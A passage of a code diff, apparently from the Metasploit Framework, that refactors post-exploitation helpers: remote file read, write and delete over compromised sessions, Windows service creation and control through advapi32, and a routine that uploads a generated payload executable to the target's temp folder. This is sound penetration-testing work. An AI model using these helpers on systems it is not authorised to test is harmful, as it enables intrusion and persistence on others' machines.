+ raise "File #{local_file_name} does not exists!"
end
end
#
# Returns a SHA1 checksum of a given remote file
#
- def file_remote_digestsha1(file2sha1)
- data = read_file(file2sha1)
+ # @note THIS DOWNLOADS THE FILE
+ # @param file_name [String] Remote file name
+ # @return [String] Hex digest of file contents
+ def file_remote_digestsha1(file_name)
+ data = read_file(file_name)
chksum = nil
if data
chksum = Digest::SHA1.hexdigest(data)
@@ -211,22 +219,27 @@ module Msf::Post::File
#
# Returns a SHA256 checksum of a given local file
#
- def file_local_digestsha2(file2sha2)
- if not ::File.exists?(file2sha2)
- raise "File #{file2sha2} does not exists!"
- else
+ # @param local_file_name [String] Local file name
+ # @return [String] Hex digest of file contents
+ def file_local_digestsha2(local_file_name)
+ if ::File.exists?(local_file_name)
require 'digest/sha2'
chksum = nil
- chksum = Digest::SHA256.hexdigest(::File.open(file2sha2, "rb") { |f| f.read})
+ chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum
+ else
+ raise "File #{local_file_name} does not exists!"
end
end
#
# Returns a SHA2 checksum of a given remote file
#
- def file_remote_digestsha2(file2sha2)
- data = read_file(file2sha2)
+ # @note THIS DOWNLOADS THE FILE
+ # @param file_name [String] Remote file name
+ # @return [String] Hex digest of file contents
+ def file_remote_digestsha2(file_name)
+ data = read_file(file_name)
chksum = nil
if data
chksum = Digest::SHA256.hexdigest(data)
@@ -238,6 +251,8 @@ module Msf::Post::File
# Platform-agnostic file read. Returns contents of remote file +file_name+
# as a String.
#
+ # @param file_name [String] Remote file name to read
+ # @return [String] Contents of the file
def read_file(file_name)
data = nil
if session.type == "meterpreter"
@@ -246,19 +261,20 @@ module Msf::Post::File
if session.platform =~ /win/
data = session.shell_command_token("type \"#{file_name}\"")
else
- data = session.shell_command_token("cat \'#{file_name}\'")
+ data = session.shell_command_token("cat \"#{file_name}\"")
end
end
data
end
- #
# Platform-agnostic file write. Writes given object content to a remote file.
- # Returns Boolean true if successful
#
# NOTE: *This is not binary-safe on Windows shell sessions!*
#
+ # @param file_name [String] Remote file name to write
+ # @param data [String] Contents to put in the file
+ # @return [void]
def write_file(file_name, data)
if session.type == "meterpreter"
fd = session.fs.file.new(file_name, "wb")
@@ -281,6 +297,9 @@ module Msf::Post::File
#
# NOTE: *This is not binary-safe on Windows shell sessions!*
#
+ # @param file_name [String] Remote file name to write
+ # @param data [String] Contents to put in the file
+ # @return [void]
def append_file(file_name, data)
if session.type == "meterpreter"
fd = session.fs.file.new(file_name, "ab")
@@ -300,6 +319,9 @@ module Msf::Post::File
# Read a local file +local+ and write it as +remote+ on the remote file
# system
#
+ # @param remote [String] Destination file name on the remote filesystem
+ # @param local [String] Local file whose contents will be uploaded
+ # @return (see #write_file)
def upload_file(remote, local)
write_file(remote, ::File.read(local))
end
@@ -307,38 +329,54 @@ module Msf::Post::File
#
# Delete remote files
#
+ # @param remote_files [Array] List of remote filenames to
+ # delete
+ # @return [void]
def rm_f(*remote_files)
remote_files.each do |remote|
if session.type == "meterpreter"
session.fs.file.delete(remote) if exist?(remote)
else
if session.platform =~ /win/
- cmd_exec("del /q /f #{remote}")
+ cmd_exec("del /q /f \"#{remote}\"")
else
- cmd_exec("rm -f #{remote}")
+ cmd_exec("rm -f \"#{remote}\"")
end
end
end
end
+ alias :file_rm :rm_f
+
#
# Rename a remote file.
#
+ # @param old_file [String] Remote file name to move
+ # @param new_file [String] The new name for the remote file
def rename_file(old_file, new_file)
- if session.respond_to? :commands and session.commands.include?("stdapi_fs_file_move")
- session.fs.file.mv(old_file, new_file)
+ if session.respond_to? :commands && session.commands.include?("stdapi_fs_file_move")
+ return (session.fs.file.mv(old_file, new_file).result == 0)
else
- if session.platform =~ /win/
- cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|)
+ if session.platform =~ /win/
+ if cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) =~ /moved/
+ return true
else
- cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|)
+ return false
end
+ else
+ if cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|).empty?
+ return true
+ else
+ return false
+ end
+ end
end
end
alias :move_file :rename_file
alias :mv_file :rename_file
protected
+
#
# Meterpreter-specific file read. Returns contents of remote file
# +file_name+ as a String or nil if there was an error
@@ -346,11 +384,12 @@ protected
# You should never call this method directly. Instead, call {#read_file}
# which will call this if it is appropriate for the given session.
#
+ # @return [String]
def _read_file_meterpreter(file_name)
begin
fd = session.fs.file.new(file_name, "rb")
rescue ::Rex::Post::Meterpreter::RequestError => e
- print_error("Failed to open file: #{file_name}")
+ print_error("Failed to open file: #{file_name}: #{e}")
return nil
end
@@ -370,10 +409,11 @@ protected
#
# Truncates if +append+ is false, appends otherwise.
#
- # You should never call this method directly. Instead, call #write_file or
- # #append_file which will call this if it is appropriate for the given
+ # You should never call this method directly. Instead, call {#write_file}
+ # or {#append_file} which will call this if it is appropriate for the given
# session.
#
+ # @return [void]
def _write_file_unix_shell(file_name, data, append=false)
redirect = (append ? ">>" : ">")
@@ -482,7 +522,7 @@ protected
# The first command needs to use the provided redirection for either
# appending or truncating.
cmd = command.sub("CONTENTS") { chunks.shift }
- session.shell_command_token("#{cmd} #{redirect} '#{file_name}'")
+ session.shell_command_token("#{cmd} #{redirect} \"#{file_name}\"")
# After creating/truncating or appending with the first command, we
# need to append from here on out.
@@ -499,6 +539,7 @@ protected
#
# Calculate the maximum line length for a unix shell.
#
+ # @return [Fixnum]
def _unix_max_line_length
# Based on autoconf's arg_max calculator, see
# http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html
diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb
index 5590fce301..1c04b85c8a 100644
--- a/lib/msf/core/post/windows/accounts.rb
+++ b/lib/msf/core/post/windows/accounts.rb
@@ -283,7 +283,7 @@ module Accounts
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
- vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
+ vprint_error("#{f['ErrorMessage']}: #{dir}")
return nil
end
@@ -298,6 +298,8 @@ module Accounts
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
+
+ result
end
end # Accounts
diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb
index 5019fdf655..aca85738b4 100644
--- a/lib/msf/core/post/windows/priv.rb
+++ b/lib/msf/core/post/windows/priv.rb
@@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv
uac = false
winversion = session.sys.config.sysinfo['OS']
- if winversion =~ /Windows (Vista|7|8|2008)/
+ if winversion =~ /Windows (Vista|7|8|2008|2012)/
unless is_system?
begin
enable_lua = registry_getvaldata(
diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb
index dc4933ffd1..f40c9ba6f1 100644
--- a/lib/msf/core/post/windows/runas.rb
+++ b/lib/msf/core/post/windows/runas.rb
@@ -12,7 +12,7 @@ module Msf::Post::Windows::Runas
def shell_execute_exe(filename = nil, path = nil)
exe_payload = generate_payload_exe
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
- payload_path = path || expand_path('%TEMP%')
+ payload_path = path || get_env('TEMP')
cmd_location = "#{payload_path}\\#{payload_filename}"
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
write_file(cmd_location, exe_payload)
diff --git a/lib/msf/core/post/windows/services.rb b/lib/msf/core/post/windows/services.rb
index a3d0d20b5a..581428d42f 100644
--- a/lib/msf/core/post/windows/services.rb
+++ b/lib/msf/core/post/windows/services.rb
@@ -23,8 +23,29 @@ end
#
module Services
+ START_TYPE = ["Boot","System","Auto","Manual","Disabled"]
+ START_TYPE_BOOT = 0
+ START_TYPE_SYSTEM = 1
+ START_TYPE_AUTO = 2
+ START_TYPE_MANUAL = 3
+ START_TYPE_DISABLED = 4
+
+ SERVICE_STOPPED = 1
+ SERVICE_START_PENDING = 2
+ SERVICE_STOP_PENDING = 3
+ SERVICE_RUNNING = 4
+ SERVICE_CONTINUE_PENDING = 5
+ SERVICE_PAUSE_PENDING = 6
+ SERVICE_PAUSED = 7
+
+ include ::Msf::Post::Windows::Error
+ include ::Msf::Post::Windows::ExtAPI
include ::Msf::Post::Windows::Registry
+ def advapi32
+ session.railgun.advapi32
+ end
+
#
# Open the service manager with advapi32.dll!OpenSCManagerA on the
# given host or the local machine if :host option is nil. If called
@@ -42,12 +63,12 @@ module Services
# OpenSCManagerA()
# @yield [manager] Gives the block a manager handle as returned by
# advapi32.dll!OpenSCManagerA. When the block returns, the handle
- # will be closed with {#close_sc_manager}.
+ # will be closed with {#close_service_handle}.
# @raise [RuntimeError] if OpenSCManagerA returns a NULL handle
#
def open_sc_manager(opts={})
host = opts[:host] || nil
- access = opts[:access] || 0xF003F
+ access = opts[:access] || "SC_MANAGER_ALL_ACCESS"
machine_str = host ? "\\\\#{host}" : nil
# SC_HANDLE WINAPI OpenSCManager(
@@ -55,16 +76,16 @@ module Services
# _In_opt_ LPCTSTR lpDatabaseName,
# _In_ DWORD dwDesiredAccess
# );
- manag = session.railgun.advapi32.OpenSCManagerA(machine_str,nil,access)
+ manag = advapi32.OpenSCManagerA(machine_str,nil,access)
if (manag["return"] == 0)
- raise RuntimeError.new("Unable to open service manager, GetLastError: #{manag["GetLastError"]}")
+ raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}")
end
if (block_given?)
begin
yield manag["return"]
ensure
- close_sc_manager(manag["return"])
+ close_service_handle(manag["return"])
end
else
return manag["return"]
@@ -74,39 +95,115 @@ module Services
#
# Call advapi32.dll!CloseServiceHandle on the given handle
#
- def close_sc_manager(handle)
+ def close_service_handle(handle)
if handle
- session.railgun.advapi32.CloseServiceHandle(handle)
+ advapi32.CloseServiceHandle(handle)
+ end
+ end
+
+ #
+ # Open the service with advapi32.dll!OpenServiceA on the
+ # target manager
+ #
+ # @return [Fixnum] Opaque Windows handle SC_HANDLE as returned by
+ # OpenServiceA()
+ # @yield [manager] Gives the block a service handle as returned by
+ # advapi32.dll!OpenServiceA. When the block returns, the handle
+ # will be closed with {#close_service_handle}.
+ # @raise [RuntimeError] if OpenServiceA failed
+ #
+ def open_service_handle(manager, name, access)
+ handle = advapi32.OpenServiceA(manager, name, access)
+ if (handle["return"] == 0)
+ raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}")
+ end
+
+ if (block_given?)
+ begin
+ yield handle["return"]
+ ensure
+ close_service_handle(handle["return"])
+ end
+ else
+ return handle["return"]
+ end
+ end
+
+ # Yield each service name on the remote host
+ #
+ # @todo Allow operating on a remote host
+ # @yield [String] Case-sensitive name of a service
+ def each_service(&block)
+ if load_extapi
+ session.extapi.service.enumerate.each(&block)
+ else
+ serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
+
+ keys = registry_enumkeys(serviceskey)
+ keys.each do |sk|
+ srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type")
+ # From http://support.microsoft.com/kb/103000
+ #
+ # 0x1 A Kernel device driver.
+ #
+ # 0x2 File system driver, which is also
+ # a Kernel device driver.
+ #
+ # 0x4 A set of arguments for an adapter.
+ #
+ # 0x10 A Win32 program that can be started
+ # by the Service Controller and that
+ # obeys the service control protocol.
+ # This type of Win32 service runs in
+ # a process by itself.
+ #
+ # 0x20 A Win32 service that can share a process
+ # with other Win32 services.
+ if srvtype == 32 || srvtype == 16
+ yield sk
+ end
+ end
+
+ keys
end
end
#
# List all Windows Services present
#
- # @return [Array] The names of the services.
+ # @return [Array] Array of Hashes containing Service details. May contain the following keys:
+ # * :name
+ # * :display
+ # * :pid
+ # * :status
+ # * :interactive
#
# @todo Rewrite to allow operating on a remote host
#
def service_list
- serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
- a =[]
- services = []
- keys = registry_enumkeys(serviceskey)
- keys.each do |s|
- if a.length >= 10
- a.first.join
- a.delete_if {|x| not x.alive?}
- end
- t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk|
- begin
- srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
- if srvtype == "32" or srvtype == "16"
- services << sk
- end
- rescue
+ if load_extapi
+ return session.extapi.service.enumerate
+ else
+ serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
+ a =[]
+ services = []
+ keys = registry_enumkeys(serviceskey)
+ keys.each do |s|
+ if a.length >= 10
+ a.first.join
+ a.delete_if {|x| not x.alive?}
end
- }
- a.push(t)
+ t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk|
+ begin
+ srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
+ if srvtype == "32" or srvtype == "16"
+ services << {:name => sk }
+ end
+ rescue
+ end
+ }
+ a.push(t)
+ end
end
return services
@@ -119,6 +216,9 @@ module Services
# command executed by the service. Service name is case sensitive. Hash
# keys are Name, Start, Command and Credentials.
#
+ # If ExtAPI is available we return the DACL, LOGroup, and Interactive
+ # values otherwise these values are nil
+ #
# @param name [String] The target service's name (not to be confused
# with Display Name). Case sensitive.
#
@@ -128,18 +228,24 @@ module Services
#
def service_info(name)
service = {}
- servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
- service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s
- srvstart = registry_getvaldata(servicekey,"Start").to_i
- if srvstart == 2
- service["Startup"] = "Auto"
- elsif srvstart == 3
- service["Startup"] = "Manual"
- elsif srvstart == 4
- service["Startup"] = "Disabled"
+
+ if load_extapi
+ begin
+ return session.extapi.service.query(name)
+ rescue Rex::Post::Meterpreter::RequestError => e
+ vprint_error("Request Error #{e} falling back to registry technique")
+ end
end
- service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
- service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
+
+ servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
+ service[:display] = registry_getvaldata(servicekey,"DisplayName").to_s
+ service[:starttype] = registry_getvaldata(servicekey,"Start").to_i
+ service[:path] = registry_getvaldata(servicekey,"ImagePath").to_s
+ service[:startname] = registry_getvaldata(servicekey,"ObjectName").to_s
+ service[:dacl] = nil
+ service[:logroup] = nil
+ service[:interactive] = nil
+
return service
end
@@ -149,17 +255,68 @@ module Services
# Mode is a string with either auto, manual or disable for the
# corresponding setting. The name of the service is case sensitive.
#
- # @todo Rewrite to allow operating on a remote host
#
- def service_change_startup(name,mode)
+ def service_change_startup(name, mode, server=nil)
+ if mode.is_a? Integer
+ startup_number = mode
+ else
+ case mode.downcase
+ when "boot" then startup_number = START_TYPE_BOOT
+ when "system" then startup_number = START_TYPE_SYSTEM
+ when "auto" then startup_number = START_TYPE_AUTO
+ when "manual" then startup_number = START_TYPE_MANUAL
+ when "disable" then startup_number = START_TYPE_DISABLED
+ else
+ raise RuntimeError, "Invalid Startup Mode: #{mode}"
+ end
+ end
+
+ if session.railgun
+ begin
+ ret = service_change_config(name, {:starttype => startup_number}, server)
+ return (ret == Error::SUCCESS)
+ rescue Rex::Post::Meterpreter::RequestError => e
+ if server
+ # Cant do remote registry changes at present
+ return false
+ else
+ vprint_error("Request Error #{e} falling back to registry technique")
+ end
+ end
+ end
+
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
- case mode.downcase
- when "auto" then
- registry_setvaldata(servicekey,"Start","2","REG_DWORD")
- when "manual" then
- registry_setvaldata(servicekey,"Start","3","REG_DWORD")
- when "disable" then
- registry_setvaldata(servicekey,"Start","4","REG_DWORD")
+ registry_setvaldata(servicekey,"Start",startup_number,"REG_DWORD")
+ end
+
+ #
+ # Modify a service on the session host
+ #
+ # @param name [String] Name of the service to be used as the key
+ # @param opts [Hash] Settings to be modified
+ # @param server [String,nil] A hostname or IP address. Default is the
+ # remote localhost
+ #
+ # @return [GetLastError] 0 if the function succeeds
+ #
+ def service_change_config(name, opts, server=nil)
+ open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
+ open_service_handle(manager, name, "SERVICE_CHANGE_CONFIG") do |service_handle|
+ ret = advapi32.ChangeServiceConfigA(service_handle,
+ opts[:service_type] || "SERVICE_NO_CHANGE",
+ opts[:starttype] || "SERVICE_NO_CHANGE",
+ opts[:error_control] || "SERVICE_NO_CHANGE",
+ opts[:path] || nil,
+ opts[:logroup] || nil,
+ opts[:tag_id] || nil,
+ opts[:dependencies] || nil,
+ opts[:startname] || nil,
+ opts[:password] || nil,
+ opts[:display] || nil
+ )
+
+ return ret['GetLastError']
+ end
end
end
@@ -167,47 +324,48 @@ module Services
# Create a service that runs +executable_on_host+ on the session host
#
# @param name [String] Name of the service to be used as the key
- # @param display_name [String] Name of the service as displayed by mmc
- # @param executable_on_host [String] EXE on the remote filesystem to
- # be used as the service executable
- # @param startup [Fixnum] Constant used by CreateServiceA for startup
- # type: 2 for Auto, 3 for Manual, 4 for Disable. Default is Auto
+ # @param opts [Hash] Settings to be modified
# @param server [String,nil] A hostname or IP address. Default is the
# remote localhost
#
- # @return [true,false] True if there were no errors, false otherwise
+ # @return [GetLastError] 0 if the function succeeds
#
- def service_create(name, display_name, executable_on_host, startup=2, server=nil)
- adv = session.railgun.advapi32
+ def service_create(name, opts, server=nil)
+ access = "SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_QUERY_LOCK_STATUS"
+ open_sc_manager(:host=>server, :access=>access) do |manager|
- # SC_MANAGER_CONNECT 0x01
- # SC_MANAGER_CREATE_SERVICE 0x02
- # SC_MANAGER_QUERY_LOCK_STATUS 0x10
- open_sc_manager(:host=>server, :access=>0x13) do |manager|
- # SC_HANDLE WINAPI CreateService(
- # __in SC_HANDLE hSCManager,
- # __in LPCTSTR lpServiceName,
- # __in_opt LPCTSTR lpDisplayName,
- # __in DWORD dwDesiredAccess,
- # __in DWORD dwServiceType,
- # __in DWORD dwStartType,
- # __in DWORD dwErrorControl,
- # __in_opt LPCTSTR lpBinaryPathName,
- # __in_opt LPCTSTR lpLoadOrderGroup,
- # __out_opt LPDWORD lpdwTagId,
- # __in_opt LPCTSTR lpDependencies,
- # __in_opt LPCTSTR lpServiceStartName,
- # __in_opt LPCTSTR lpPassword
- #);
- newservice = adv.CreateServiceA(manager, name, display_name,
- 0x0010, 0X00000010, startup, 0, executable_on_host,
- nil, nil, nil, nil, nil)
- adv.CloseServiceHandle(newservice["return"])
- if newservice["GetLastError"] == 0
- return true
- else
- return false
+ opts[:display] ||= Rex::Text.rand_text_alpha(8)
+ opts[:desired_access] ||= "SERVICE_START"
+ opts[:service_type] ||= "SERVICE_WIN32_OWN_PROCESS"
+ opts[:starttype] ||= START_TYPE_AUTO
+ opts[:error_control] ||= "SERVICE_ERROR_IGNORE"
+ opts[:path] ||= nil
+ opts[:logroup] ||= nil
+ opts[:tag_id] ||= nil
+ opts[:dependencies] ||= nil
+ opts[:startname] ||= nil
+ opts[:password] ||= nil
+
+ newservice = advapi32.CreateServiceA(manager,
+ name,
+ opts[:display],
+ opts[:desired_access],
+ opts[:service_type],
+ opts[:starttype],
+ opts[:error_control],
+ opts[:path],
+ opts[:logroup],
+ opts[:tag_id], # out
+ opts[:dependencies],
+ opts[:startname],
+ opts[:password]
+ )
+
+ if newservice
+ close_service_handle(newservice["return"])
end
+
+ return newservice["GetLastError"]
end
end
@@ -224,27 +382,11 @@ module Services
# @raise [RuntimeError] if OpenServiceA failed
#
def service_start(name, server=nil)
- adv = session.railgun.advapi32
- open_sc_manager(:host=>server, :access=>1) do |manager|
- # SC_HANDLE WINAPI OpenService(
- # _In_ SC_HANDLE hSCManager,
- # _In_ LPCTSTR lpServiceName,
- # _In_ DWORD dwDesiredAccess
- # );
- # open with access SERVICE_START (0x0010)
- handle = adv.OpenServiceA(manager, name, 0x10)
- if(handle["return"] == 0)
- raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
- end
- retval = adv.StartServiceA(handle["return"],0,nil)
- adv.CloseServiceHandle(handle["return"])
+ open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
+ open_service_handle(manager, name, "SERVICE_START") do |service_handle|
+ retval = advapi32.StartServiceA(service_handle,0,nil)
- # This is terrible. Magic return values should be refactored to
- # something meaningful.
- case retval["GetLastError"]
- when 0; return 0 # everything worked
- when 1056; return 1 # service already started
- when 1058; return 2 # service disabled
+ return retval["GetLastError"]
end
end
end
@@ -260,22 +402,21 @@ module Services
# @raise (see #service_start)
#
def service_stop(name, server=nil)
- adv = session.railgun.advapi32
+ open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
+ open_service_handle(manager, name, "SERVICE_STOP") do |service_handle|
- # SC_MANAGER_SERVICE_STOP (0x0020)
- open_sc_manager(:host=>server, :access=>1) do |manager|
- # open with SERVICE_STOP (0x0020)
- handle = adv.OpenServiceA(manager, name, 0x20)
- if(handle["return"] == 0)
- raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
- end
- retval = adv.ControlService(handle["return"],1,56)
- adv.CloseServiceHandle(handle["return"])
+ retval = advapi32.ControlService(service_handle,1,28)
+ case retval["GetLastError"]
+ when Error::SUCCESS,
+ Error::INVALID_SERVICE_CONTROL,
+ Error::SERVICE_CANNOT_ACCEPT_CTRL,
+ Error::SERVICE_NOT_ACTIVE
+ status = parse_service_status_struct(retval['lpServiceStatus'])
+ else
+ status = nil
+ end
- case retval["GetLastError"]
- when 0; return 0 # worked
- when 1062; return 1 # already stopped or disabled
- when 1052; return 2 # cannot be stopped
+ return retval["GetLastError"]
end
end
end
@@ -286,24 +427,11 @@ module Services
# @param (see #service_start)
#
def service_delete(name, server=nil)
- adv = session.railgun.advapi32
-
open_sc_manager(:host=>server) do |manager|
- # Now to grab a handle to the service.
- # Thank you, Wine project for defining the DELETE constant since it,
- # and all its friends, are missing from the MSDN docs.
- # #define DELETE 0x00010000
- handle = adv.OpenServiceA(manager, name, 0x10000)
- if (handle["return"] == 0)
- raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
+ open_service_handle(manager, name, "DELETE") do |service_handle|
+ ret = advapi32.DeleteService(service_handle)
+ return ret["GetLastError"]
end
-
- # Lastly, delete it
- adv.DeleteService(handle["return"])
-
- adv.CloseServiceHandle(handle["return"])
-
- handle["GetLastError"]
end
end
@@ -318,38 +446,109 @@ module Services
#
#
def service_status(name, server=nil)
- adv = session.railgun.advapi32
ret = nil
-
- # 0x80000000 GENERIC_READ
- open_sc_manager(:host => server, :access => 0x80000000) do |manager|
- # Now to grab a handle to the service.
- handle = adv.OpenServiceA(manager, name, 0x80000000)
- if (handle["return"] == 0)
- raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
+
+ open_sc_manager(:host => server, :access => "GENERIC_READ") do |manager|
+ open_service_handle(manager, name, "GENERIC_READ") do |service_handle|
+ status = advapi32.QueryServiceStatus(service_handle,28)
+
+ if (status["return"] == 0)
+ raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}")
+ else
+ ret = parse_service_status_struct(status['lpServiceStatus'])
+ end
end
-
- status = adv.QueryServiceStatus(handle["return"],28)
- if (status["return"] == 0)
- raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
- end
-
- vals = status['lpServiceStatus'].unpack('V*')
- adv.CloseServiceHandle(handle["return"])
-
- ret = {
- :type => vals[0],
- :state => vals[1],
- :controls_accepted => vals[2],
- :win32_exit_code => vals[3],
- :service_exit_code => vals[4],
- :check_point => vals[5],
- :wait_hint => vals[6]
- }
end
-
+
return ret
end
+
+ #
+ # Performs an aggressive service (re)start
+ # If service is disabled it will re-enable
+ # If service is running it will stop and restart
+ #
+ # @param name [String] The service name
+ # @param start_type [Integer] The start type to configure if disabled
+ # @param server [String] The server to target
+ #
+ # @return [Boolean] indicating success
+ #
+ #
+ def service_restart(name, start_type=START_TYPE_AUTO, server=nil)
+ tried = false
+
+ begin
+ status = service_start(name, server)
+
+ if status == Error::SUCCESS
+ vprint_good("[#{name}] Service started")
+ return true
+ else
+ raise RuntimeError, status
+ end
+ rescue RuntimeError => s
+ if tried
+ vprint_error("[#{name}] Unhandled error: #{s}")
+ return false
+ else
+ tried = true
+ end
+
+ case s.message.to_i
+ when Error::ACCESS_DENIED
+ vprint_error("[#{name}] Access denied")
+ when Error::INVALID_HANDLE
+ vprint_error("[#{name}] Invalid handle")
+ when Error::PATH_NOT_FOUND
+ vprint_error("[#{name}] Service binary could not be found")
+ when Error::SERVICE_ALREADY_RUNNING
+ vprint_status("[#{name}] Service already running attempting to stop and restart")
+ stopped = service_stop(name, server)
+ if ((stopped == Error::SUCCESS) || (stopped == Error::SERVICE_NOT_ACTIVE))
+ retry
+ else
+ vprint_error("[#{name}] Service disabled, unable to change start type Error: #{stopped}")
+ end
+ when Error::SERVICE_DISABLED
+ vprint_status("[#{name}] Service disabled attempting to set to manual")
+ if (service_change_config(name, {:starttype => start_type}, server) == Error::SUCCESS)
+ retry
+ else
+ vprint_error("[#{name}] Service disabled, unable to change start type")
+ end
+ else
+ vprint_error("[#{name}] Unhandled error: #{s}")
+ return false
+ end
+ end
+ end
+
+ #
+ # Parses out a SERVICE_STATUS struct from the
+ # lpServiceStatus out parameter
+ #
+ # @param (lpServiceStatus)
+ #
+ # @return [Hash] Containing SERVICE_STATUS values
+ #
+ def parse_service_status_struct(lpServiceStatus)
+ if lpServiceStatus
+ vals = lpServiceStatus.unpack('V*')
+ return {
+ :type => vals[0],
+ :state => vals[1],
+ :controls_accepted => vals[2],
+ :win32_exit_code => vals[3],
+ :service_exit_code => vals[4],
+ :check_point => vals[5],
+ :wait_hint => vals[6]
+ }
+ else
+ return nil
+ end
+ end
+
end
end
diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb
index 64f4870977..59cb021e94 100644
--- a/lib/msf/core/post/windows/shadowcopy.rb
+++ b/lib/msf/core/post/windows/shadowcopy.rb
@@ -175,25 +175,9 @@ module ShadowCopy
print_status("Volume Shadow Copy service is running.")
else
print_status("Volume Shadow Copy service not running. Starting it now...")
- begin
- ss_result = service_start("VSS")
- case ss_result
- when 0
- print_status("Volume Shadow Copy started successfully.")
- when 1
- print_error("Volume Shadow Copy already running.")
- when 2
- print_error("Volume Shadow Copy is disabled.")
- print_status("Attempting to re-enable...")
- service_change_startup("VSS","manual")
- ss_result = service_start("VSS")
- if ss_result == 0
- return true
- else
- return false
- end
- end
- rescue
+ if service_restart("VSS", START_TYPE_MANUAL)
+ print_good("Volume Shadow Copy started successfully.")
+ else
print_error("Insufficient Privs to start service!")
return false
end
diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb
index d627ceead0..eca72a9974 100644
--- a/lib/msf/http/wordpress/version.rb
+++ b/lib/msf/http/wordpress/version.rb
@@ -98,7 +98,7 @@ module Msf::HTTP::Wordpress::Version
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
- version = res.body.to_s[/(?:stable tag|version): (?!trunk)([0-9a-z.-]+)/i, 1]
+ version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
# readme present, but no version number
return Msf::Exploit::CheckCode::Detected if version.nil?
diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb
index eb5601fd42..975ec750f7 100644
--- a/lib/msf/ui/console/command_dispatcher/core.rb
+++ b/lib/msf/ui/console/command_dispatcher/core.rb
@@ -2834,73 +2834,72 @@ class Core
res = []
res << o.default.to_s if o.default
- case o.class.to_s
-
- when 'Msf::OptAddress'
- case o.name.upcase
- when 'RHOST'
- option_values_target_addrs().each do |addr|
- res << addr
- end
- when 'LHOST'
- rh = self.active_module.datastore["RHOST"]
- if rh and not rh.empty?
- res << Rex::Socket.source_address(rh)
- else
- res << Rex::Socket.source_address()
- end
- else
+ case o
+ when Msf::OptAddress
+ case o.name.upcase
+ when 'RHOST'
+ option_values_target_addrs().each do |addr|
+ res << addr
end
-
- when 'Msf::OptAddressRange'
- case str
- when /^file:(.*)/
- files = tab_complete_filenames($1, words)
- res += files.map { |f| "file:" + f } if files
- when /\/$/
- res << str+'32'
- res << str+'24'
- res << str+'16'
- when /\-$/
- res << str+str[0, str.length - 1]
- else
- option_values_target_addrs().each do |addr|
- res << addr+'/32'
- res << addr+'/24'
- res << addr+'/16'
- end
+ when 'LHOST'
+ rh = self.active_module.datastore["RHOST"]
+ if rh and not rh.empty?
+ res << Rex::Socket.source_address(rh)
+ else
+ res << Rex::Socket.source_address()
end
+ else
+ end
- when 'Msf::OptPort'
- case o.name.upcase
- when 'RPORT'
- option_values_target_ports().each do |port|
- res << port
- end
+ when Msf::OptAddressRange
+ case str
+ when /^file:(.*)/
+ files = tab_complete_filenames($1, words)
+ res += files.map { |f| "file:" + f } if files
+ when /\/$/
+ res << str+'32'
+ res << str+'24'
+ res << str+'16'
+ when /\-$/
+ res << str+str[0, str.length - 1]
+ else
+ option_values_target_addrs().each do |addr|
+ res << addr+'/32'
+ res << addr+'/24'
+ res << addr+'/16'
end
+ end
- if (res.empty?)
- res << (rand(65534)+1).to_s
+ when Msf::OptPort
+ case o.name.upcase
+ when 'RPORT'
+ option_values_target_ports().each do |port|
+ res << port
end
+ end
- when 'Msf::OptEnum'
- o.enums.each do |val|
- res << val
- end
+ if (res.empty?)
+ res << (rand(65534)+1).to_s
+ end
